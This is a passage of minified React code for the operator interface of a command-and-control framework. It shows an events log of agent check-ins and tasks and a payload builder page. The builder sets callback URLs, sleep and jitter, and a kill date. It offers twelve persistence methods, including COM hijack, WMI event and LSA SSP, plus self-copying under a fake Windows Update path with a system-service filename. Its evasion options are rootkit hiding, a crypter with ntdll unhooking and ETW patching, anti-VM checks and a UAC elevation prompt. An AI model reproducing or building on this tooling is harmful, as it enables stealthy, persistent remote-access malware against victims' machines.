Stopped",system:"System"},P2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},QU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function JU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await DE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(ld);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(E2,{label:"All",active:i==="all",onClick:()=>a("all")}),QU.map(m=>s.jsx(E2,{label:KS[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(eV,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function eV({event:e,expanded:t,onToggle:n}){const r=P2[e.severity]||P2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:KS[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:KA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function E2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const A2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function _2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const O2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],tV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function nV(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(hj,mj),g=x.status==="building",[y,v]=p.useState(_2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,_]=p.useState(""),[A,O]=p.useState(A2),[P,I]=p.useState(!1),[U,D]=p.useState("exe"),[M,F]=p.useState(0),[R,W]=p.useState(!0),[$,H]=p.useState(!0),[X,se]=p.useState(!0),[ue,ge]=p.useState(!0),[xe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[K,ne]=p.useState("SecurityHealthService.exe"),[B,ie]=p.useState(null),ve=p.useCallback(async()=>{try{const q=await BE();t(q)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{ve(),FE().then(q=>{w(te=>te.length===1&&te[0]===""?[q.default_callback_url]:te)}).catch(()=>{})},[ve]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const q=setInterval(()=>{const me=Math.floor((Date.now()-x.startedAt)/1e3);u(me);const V=Math.min(95,Math.floor(100*(1-Math.exp(-me/50))));l(V)},500),te=Math.floor((Date.now()-x.startedAt)/1e3);return u(te),l(Math.min(95,Math.floor(100*(1-Math.exp(-te/50))))),()=>clearInterval(q)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Kg(),ve()):x.status==="error"&&(f(x.error||"Failed to build payload"),Kg())},[x.status]),p.useEffect(()=>{if(!m)return;const q=setTimeout(()=>h(""),4e3);return()=>clearTimeout(q)},[m]);function we(){v(_2()),k("30"),N("25"),_(""),O(A2),I(!1),D("exe"),F(0),W(!0),H(!0),se(!0),ge(!0),Y(1),C("Microsoft\\WindowsUpdate"),ne("SecurityHealthService.exe")}async function _e(q){q.preventDefault(),f("");const te=b.filter(Z=>Z.trim()!=="");let me=0;z&&(me=Math.floor(new Date(z).getTime()/1e3));const V={name:y.trim(),callback_urls:te,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:me,user_agent:A.trim(),output_format:U,debug:P,persist_methods:M||void 0,rootkit_enabled:R,encryption_enabled:$,anti_vm:X,auto_elevate:ue,install_dir:xe,install_subdir:ee,install_filename:K};AA(V.name);try{await $E(V),_A(),we()}catch(Z){Z instanceof di?Hg(Z.message):Hg("Failed to build payload")}}async function L(q){const te=rt();if(!te){f("Not authenticated");return}try{const me=await fetch(`/api/payloads/${q.payload_id}/download`,{headers:{Authorization:`Bearer ${te}`}});if(!me.ok){f("Download failed");return}const V=await me.blob(),Z=URL.createObjectURL(V),fe=document.createElement("a");fe.href=Z;const E=me.headers.get("content-disposition"),oe=E==null?void 0:E.match(/filename="(.+?)"/);fe.download=(oe==null?void 0:oe[1])||`${q.name||"payload"}.exe`,document.body.appendChild(fe),fe.click(),document.body.removeChild(fe),URL.revokeObjectURL(Z)}catch{f("Download failed")}}async function de(q){try{await WE(q),ie(null),ve()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:_e,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(pr,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:q=>v(q.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(pr,{label:"Output Format",children:s.jsxs("select",{value:U,onChange:q=>{const te=q.target.value;D(te),te==="exe"&&F(me=>me&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(pr,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:q=>k(q.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(pr,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:q=>N(q.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(pr,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:q=>_(q.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),s.jsx(pr,{label:"User Agent",children:s.jsx("input",{type:"text",value:A,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(pr,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:tV.map(q=>{const te=q.dllOnly&&U==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${te?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:te,onChange:me=>{F(me.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),te&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),s.jsx(pr,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:xe,onChange:q=>Y(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:K,onChange:q=>ne(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),s.jsxs(pr,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:R,onChange:q=>W(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:$,onChange:q=>H(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${$?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:X,disabled:!$,onChange:q=>se(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ue,onChange:q=>ge(q.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>I(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(O2.filter(q=>q.at<=o).pop()??O2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(q=>{let te={};try{te=JSON.parse(q.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:q.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:q.agent_pubkey,children:[(q.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:q.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:No(q.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:km(q.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>L(q),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),B===q.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>de(q.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ie(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ie(q.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},q.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function pr({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const rV=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function 